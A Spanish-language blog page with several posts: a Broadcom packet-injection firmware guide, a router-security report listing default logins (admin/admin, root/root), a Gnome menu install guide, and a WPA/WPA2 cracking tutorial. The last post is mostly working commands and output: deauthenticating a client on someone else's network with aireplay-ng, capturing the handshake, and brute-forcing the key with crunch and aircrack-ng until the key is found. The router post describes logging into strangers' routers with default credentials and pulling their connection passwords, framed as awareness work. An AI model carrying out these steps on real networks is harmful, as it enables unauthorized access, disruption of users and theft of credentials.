Inyectando con Broadcom 43xx

A pedido de varios alumnos de Instel que están con problemas de inyección con Broadcom, dejo este pequeño tutorial.

La instalación es bastante sencilla, sólo tenemos que tener en cuenta de contar con los siguientes paquetes antes de instalar:

build-essential
git-core
kernel linux-2.6.32 o superior
b43-fwcutter

Empezamos por bajarnos el git-core:

apt-get install git-core

Una vez que contamos con git-core ejecutamos el siguiente comando:

git-clone git://git.bu3sch.de/b43-tools.git

entramos al directorio:

cd b43-tools/fwcutter/

y compilamos:

make

Listo ya tenemos compilado nuestro git-core, ahora bajamos el driver de Broadcom: (no nos salimos del directorio)

Por defecto aclaremos que teóricamente estamos en “/home/USUARIO/b43-tools/fwcutter”

wget http://downloads.openwrt.org/sources/broadcom-wl-4.178.10.4.tar.bz2

Descomprimimos:

tar xjf broadcom-wl-4.178.10.4.tar.bz2

y entramos al directorio:

cd broadcom-wl-4.178.10.4/linux

Ahora, (PASO IMPORTANTE) verificamos bien la ruta donde instalamos el b43-tools/fwcutter porque tenemos que indicar la ruta exacta para copiar un par de archivos a nuestro firmware en /lib

Si estábamos en /home/USUARIO/b43-tools/fwcutter ponemos esto:

/home/USUARIO/b43-tools/fwcutter/b43-fwcutter -w /lib/firmware wl_apsta.o

No hace falta aclarar que donde dice “USUARIO” va el usuario de cada uno no?, por las dudas..

Listo, con esto ya nos actualiza nuestro firmware, sólo basta reiniciar y veremos que ya podemos inyectar con aircrack-ng

Inseguridad y desconocimiento en routers..

En estos días estuve preparando un informe más que interesante, con el único objetivo de concientizar a los usuarios a securizar sus routers y cifrados de conexiones Wi-Fi.
Vamos a empezar con una “dramatización” (wow!!)

Contraté el servicio de internet con …. (Arnet, Ciudad, Fibertel, UOL, etc), me trajeron un módem y estoy chocho navegando en internet !!
Buenísimo .. ya tenés internet, estás navegando y bajando películas a diestra y siniestra, tenés un …. (domicilio particular, instituto, empresa, consultorio, oficina, estudio juridico, etc), archivos importantes, fotos comprometedoras, documentos privados .. pero qué te importa !! total, tenés un cifrado WPA2 con 63 caracteres, imposible de crackear !!
Y la pregunta que se me viene a la cabeza es… ¿Y tu router, qué clave tiene? ¿Permitís el acceso remoto? ¿Lo dejaste tal cual te lo dejó tu ISP?

Para que se den una idea, el estudio que realicé arrojó un resultado bastante más que preocupante, casi el 80% de los routers que permiten el ingreso remoto poseen las claves que traen justamente esos routers por default.

Los routers más conocidos son:

TP-LINK
ENCORE
D-LINK
PIRELLI
ENCORE (Viking)

Y los logins por default de estos routers son:

admin – admin
root – root
admin – 1234

Ahora bien:

¿Qué peligrosidad tiene esto? ¿Qué pueden hacerme?

Mucha, y mucho.
Tener un acceso a un router involucran varias cuestiones.

1) Pueden dejarnos sin internet, y si usáramos internet para trabajar nos podrían generar un problemón ..
2) Pueden dejarnos plantados un DDNS, un sistema por el cual no hará falta que sepan nuestra ip una vez que la renovemos, sino que pasaremos a tener un dominio que se irá actualizando a medida que vayamos cambiando de ip, ej: “victima.dyndns.org”
3) Conocer nuestro usuario y contraseña de conexión.
4) Usar nuestro usuario y contraseña de, por ejemplo, Arnet y utilizarlo para autentificarse al SMTP de Arnet y enviar Spam, Pedofilia, etc (imaginen el quilombo en que nos veríamos metido)
5) Habilitar el DMZ (se mira la tabla de ips habilitadas por DHCP y se prueba habilitando el DMZ a cada ip) de esta forma si una de las máquinas tiene el puerto 139 (netbios, ARCHIVOS COMPARTIDOS) abierto, podrían acceder desde afuera a esos archivos.

Y con el punto 5 ya nos quedamos, se imaginan que si tenemos información privada que justamente queremos preservar, no podemos tener este tipo de fallas.

Veamos un par de ejemplos: (todas las imágenes van a estar blureadas, y los usuarios que estuvieron involucrados fueron advertidos.

Miremos este caso, se accede al router y se obtienen usuario y contraseña de conexión: (click en la imagen para verla en tamaño completo)

Y acá tenemos uno que hasta nos invita a pasar..

Se accede y se obtienen los datos de conexión:

Y un último caso:

En este último caso, no sólo dejaron el router con la clave por default, sino que la clave de conexión es 123456 !!!

Ahora pasemos a un caso que me llamó la atención, y se los muestro para que vean el grado de peligrosidad que involucra.

Primero se ingresa a un router con la clave por default:

Se observa que posee un cifrado WPA2, lo que me llamó la atención era la clave .. era una dirección, entonces fui con esa dirección a Teleinfo

Cuando me arrojó los resultados, me di cuenta que el BSSID (nombre de la conexión) era el apellido de una empresa .. (conocida).

Busqué en google la dirección, y me arrojó a qué se dedicaba la empresa.

Resumiendo, un atacante podría con estos datos, ir en un auto por ejemplo hasta el lugar, estacionarse con una notebook, ingresar a la red, obtener archivos importantes, etc .
El cifrado, bien .. WPA2, el router por default ..
Es como comprarse la mejor alarma del mundo para una casa, y no tener puertas ni ventanas.

Otro ejemplo de un cifrado correcto, y la clave del router ? bien gracias!

Y ahora lo que NO hay que hacer:

Nombre de la red: Maxi
Clave: maximiliano

NO utilizar cifrado WEP, es demasiado fácil de obtener la clave y más cuando son de este tipo:

Bueno, hasta acá vimos casos de imprudencia / desconocimiento donde los usuarios dejan las claves por default de sus routers, algunos dirán “que importa, no tengo archivos compartidos, y si entran reseteo el router y listo”.

Y qué pasa si tenemos por default las claves de cámaras ip ?
Se imaginan si tenemos acceso a las cámaras, sabiendo a qué hora se abre, a qué hora se cierra, más aún cuando las cámaras tienen posibilidad de movimiento, zoom ..
Conocer cada rincón del negocio, creo que no hace falta más nada para decir, es una herramienta que mal utilizada podría ser muy perjudicial para el dueño del negocio.

Unos ejemplos:

Fijense la cantidad de routers que nos dan los ISP que tienen el mismo firmware:

Estos routers tienen por ejemplo, por default usuario: “admin”, password: “admin”

Acá unos videos que armé enseñando cómo cambiar la clave del router en los más utilizados:

Encore viejo (Viking):

Imagen de previsualización de YouTube

Encore, TP-LINK, Micronet, Edimax, TrendChip, Sitecom, etc (mismo firmware):

Imagen de previsualización de YouTube

DLink:

Imagen de previsualización de YouTube

Huawei:

Imagen de previsualización de YouTube

Pirelli (Arnet):

Imagen de previsualización de YouTube

Para que se den cuenta de la CANTIDAD de routers afectados, les dejo una lista (blureada) de routers con usuarios y contraseñas afectados sacados en menos de 2 horas en un rango corto.

Entonces resumiendo:

1) Cambiar YA la clave de acceso al router
2) Cambiar el cifrado Wireless (no usar WEP, usar WPA en lo posible alfanumérico)
3) Cambiar claves de nuestras Cámaras IP

Si hay algún router que no nombré, pasenme el modelo y les digo cómo cambiar la clave.
La idea del post es concientizar a la gente a que debe securizar sus routers para luego no comerse un garrón.

Gnomenu, cambiá tu menú de Gnome

No lo había utilizado nunca, había oído hablar de él pero jamás se me dió por probarlo, ayer justamente lo hice y me gustó bastante.
Se trata de Gnomenu, una alternativa al clásico menú de Gnome.
Gnomenu está creciendo tanto, que ya tiene su propio apartado en Gnome-look un sitio especializado en aplicaciones para nuestro Gnome.
No sirve de mucho describir qué es exactamente Gnomenu, bastará con ver las imágenes del nuevo menú para darse cuenta.

Nuestro menú de Gnome viejo:

Nuestro nuevo menú de Gnome:

Bueno, ahora pasamos a la parte de la instalación:

Bajamos el tar.gz

http://launchpad.net/gnomenu/trunk/2.9/+download/gnomenu-2.9.tar.gz

Descomprimimos con tar -xvzf:

tar -xvzf gnomem*..tar.gz

Entramos al directorio

cd gnomem*

Compilamos:

make install

Listo, ya lo tenemos instalado, para agregarlo vamos a la barra y hacemos un click derecho , luego vamos a “Añadir al panel” y buscamos “Gnomenu”.
Vamos a ver que nos añadió un nuevo menú, otra vez click derecho y vamos a “Propiedades” y se nos abre esto:

Ahi podremos configurar todo, ahora sólo bastará eliminar del panel nuestro viejo menú, para ello nos situamos sobre el logo de Gnome, click derecho y “Quitar del panel”.

Para instalar el menú “Dark-Candy” como la 2da imagen, lo bajamos desde acá:

Descargar Dark-Candy

Dejá que Google te lo busque

Quién no tiene un amigo que hace preguntas estilo:

¿Cómo instalo el MSN?
¿Cómo se HACKEA HOTMAIL?
¿Dónde puedo descargar xxxxx programa?

Listo, ahora existe una solución “irónica” para que tu amigo se de cuenta que mejor que preguntarte a vos es buscarlo en Google.
Se trata de un sitio llamado LMGTFU (Let Me Google That For You) un sitio creado para ironizar sobre las NO búsquedas en Google.

El funcionamiento es sencillo, una vez que ingresamos al sitio, hacemos la pregunta que acaba de hacernos nuestro amigo y le damos a “Buscar con Google”, eso nos devolverá un link que le pasaremos a nuestro amigo.
Un ejemplo: “¿Cómo saco un virus de mi computadora?

http://lmgtfy.com/?q=Como+saco+un+virus+de+mi+computadora+%3F

Ese link simulará la escritura de la búsqueda en Google y luego dirigirá a nuestro preguntón al buscador original.

Generar claves con crunch para WPA y WPA2

Hace un tiempo me venían pidiendo armar un tutorial sobre cómo crackear redes con cifrados WPA y WPA2.
Entonces decidí por realizar este tuto utilizando una herramienta que reemplaza a los diccionarios y en mi caso me dió bastante efectividad.

Empecemos por dejar en claro un par de cuestiones, la encriptación WEP como ya sabemos es fácil de romper, se capturan paquetes para luego por ingeniería inversa crackear esos paquetes y conseguir la clave.
En el caso de WPA y WPA2 es distinto, el método anterior no puede ser utilizado.
Estos tipos de cifrados utilizan algo llamado “handshake” (apretón de manos), es una especie de “saludo” entre el AP (Access Point) y el Cliente.
Lo que debemos capturar en este caso justamente es ese handshake para estar en “confianza” con el AP e intentar mediante un diccionario o en este caso con otro método que utilizo yo, romper la clave.

Una vez aclarado el funcionamiento, largo el método:

Voy a utilizar un software llamado “crunch”

Vamos a bajarlo desde acá

DESCARGAR CRUNCH

tar -xvzf crunch*.tgz

Entramos al directorio

cd crunch

Lo compilamos, por las dudas primero dejo el build-essential por si no lo tienen:

apt-get install build-essential

Ahora si, lo compilamos:

make

make install

Por último copiamos el comando al sbin:

cp crunch /usr/sbin/

Voy a dar por sentado que tienen instalado aircrack-ng, pero como soy bueno, les dejo el apt-get por las dudas:

apt-get install aircrack-ng

Empezamos !!

Ponemos en modo promiscuo (monitor) nuestra placa (en mi caso la interfaz es aht1, cada cual ponga la suya):

airodump-ng ath1

Me aparecen un par de redes:

CH 6 ][ Elapsed: 4 s ][ 2010-07-11 23:44

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1B:11:D3:A9:5D 2 2 0 0 1 54 . WEP WEP dlink-007
00:14:BF:79:8B:3C 5 2 0 0 6 54 WPA2 CCMP PSK PORINGA
00:21:29:EB:57:85 2 0 0 0 6 54 OPN Nazario_w
00:21:29:96:85:0C 9 3 1 0 6 54e WEP WEP Martin
00:1A:70:3D:3D:81 3 2 0 0 6 54 OPN linksys
00:1C:10:2A:C7:99 5 3 0 0 6 54e OPN Nazario_w
00:18:E7:56:26:89 7 4 0 0 6 54 . WPA TKIP PSK default
00:26:5A:53:E5:84 4 4 0 0 6 54 WEP WEP AR-RED
00:1D:7E:22:25:22 -1 0 3 1 6 -1 OPN 00:18:E7:61:A9:47 8 3 0 0 6 54 . WPA TKIP PSK ESTUDIO J
00:0A:E5:79:83:E8 1 4 1 0 11 11 WEP WEP CIBERA
00:21:29:72:FC:32 5 3 0 0 11 54 . WEP WEP linksys
00:0F:A3:F1:9C:5B 21 6 0 0 12 54 . WEP WEP LKSA
00:25:9C:69:97:B7 16 12 0 0 11 54e WPA2 TKIP PSK WIPS
00:0F:A3:F1:67:8A 6 6 0 0 4 54 . WEP WEP Wi-Fi Arn
1C:AF:F7:42:E1:E6 -1 0 0 0 9 -1 00:15:63:11:69:90 16 10 0 0 9 12e. WEP WEP 00:25:9C:3B:69:28 23 15 0 0 6 54e WEP WEP Apicc
00:40:77:BB:55:03 21 19 0 0 6 54e WPA TKIP PSK dd-wrt
00:21:00:61:B9:12 1 2 0 0 1 54 OPN FT89769

Juro que el ESSID PORINGA no es mío !!

Bueno, sigamos, la que voy a utilizar es "default" que tiene cifrado WPA TKIP PSK:

TKIP: (Temporal Key Integrity Protocol)
PSK: (Pre-Shared Key)

Una vez que tenemos el MAC del AP y el canal, ponemos:

airodump-ng -c NUMERODELCANAL --bssid MAC-DEL-AP -w default ath1

En este caso:

airodump-ng -c 6 --bssid 00:18:E7:56:26:89 -w default ath1

Ahora airodump sólo va a escuchar ese canal y ese AP.:

CH 6 ][ Elapsed: 9 mins ][ 2010-07-11 23:53 ]

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:18:E7:56:26:89 9 90 4152 762 5 6 54 . WPA TKIP PSK defau

BSSID STATION PWR Rate Lost Packets Probes

00:18:E7:56:26:89 00:0C:41:7A:77:43 51 11 – 1 42 1102
00:18:E7:56:26:89 00:1F:E1:23:33:40 15 0 – 1 0 61 default

Acá tenemos dos posibles escenarios:

1) Esperar que se conecte un nuevo cliente para adquirir el handshake
2) Desautenticar un cliente ya conectado para que vuelva a conectarse y adquirir el handshake

En este caso vamos a utilizar la segunda opción, anotamos el MAC del AP y el MAC del cliente conectado.

AP: 00:18:E7:56:26:89
Cliente Conectado: 00:0C:41:7A:77:43

Procedemos a desautenticar al cliente mediante este comando:

aireplay-ng -0 10 -a MAC-DEL-AP -c MAC-DEL-CLIENTE ath1

En este caso:

aireplay-ng -0 10 -a 00:18:E7:56:26:89 -c 00:0C:41:7A:77:43 ath1

Hace algo así:

[root@debian dke]# aireplay-ng -0 10 -a 00:18:E7:56:26:89 -c 00:0C:41:7A:77:43 ath1
23:46:18 Waiting for beacon frame (BSSID: 00:18:E7:56:26:89) on channel 6
23:46:19 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 1|173 ACKs]
23:46:20 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [14|155 ACKs]
23:46:20 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|207 ACKs]
23:46:21 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [11|173 ACKs]
23:46:21 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [31|186 ACKs]
23:46:26 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|240 ACKs]
23:46:27 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [38|186 ACKs]
23:46:27 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|137 ACKs]
23:46:28 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [ 0|147 ACKs]
23:46:32 Sending 64 directed DeAuth. STMAC: [00:0C:41:7A:77:43] [19|258 ACKs]

Si no lo desautentifica a la primera, volver a repetir el comando.

Una vez que el usuario es desautenticado y vuelva a ingresar nos va a aparecer arriba a la derecha el handshake

CH 6 ][ Elapsed: 9 mins ][ 2010-07-11 23:53 ][ WPA handshake: 00:18:E7:56:26:89

Listo, ya tenemos nuestro handshake, ahora utilizamos el crunch:

Escribimos esto:

crunch 8 9 0123456789 | aircrack-ng -a 2 RUTA-DEL-ARCHIVO-CAP -e default -b HANDSHAKE -w -

En este caso:

crunch 8 9 0123456789 | aircrack-ng -a 2 /home/dke/defa*.cap -e default -b 00:18:E7:56:26:89 -w -

Aclaración: "crunch 8 9" hace referencia a que las claves WPA como mínimo tienen 8 caracteres, en este caso yo quiero que sólo pruebe hasta 9 caracteres, y que utilice los números 0123456789.
El 75% de los usuarios cometen el error de "securizar" la red con WPA y usar claves numéricas, que en este caso vamos a ver lo fáciles que son de conseguir con crunch
Si quisiéramos que crunch use letras, pondríamos "crunch 8 15 (máximo 15 caracteres)" abcdefghijklmno"

Ahora vamos a ver como crunch empieza a generar claves y a probarlas con el aircrack-ng:

[root@debian dke]# crunch 8 9 0123456789 | aircrack-ng -a 2 /home/dke/defa*.cap -e default -b 00:18:E7:56:26:89 -w -
Opening /home/dke/default-01.cap
Reading packets, please wait…

Aircrack-ng 1.0 rc3

[00:00:50] 72172 keys tested (1445.33 k/s)

KEY FOUND! [ 00072169 ]

Master Key : F0 BE A1 08 A5 4C D6 E4 08 5C 5F B4 42 4A 69 F0
32 1D C9 11 D5 F3 BB 64 3D F2 31 AB FA F7 A7 1E

Transient Key : 72 42 D4 F0 91 91 E9 27 F8 8E D0 DF 1D 48 1B AD
16 10 78 D5 B1 7E 8D 9E 7A 76 68 AC 44 2A 37 94
30 4C 47 F5 FE EB 01 7E 8B 64 87 EF 78 3D 2F 1E
E8 6B 4A 2E E4 95 F4 57 4A 32 05 54 66 AA D6 98

EAPOL HMAC : C8 28 B2 83 87 05 18 45 D8 26 C0 42 1D AB A0 7D

Listo, ya tenemos la clave :)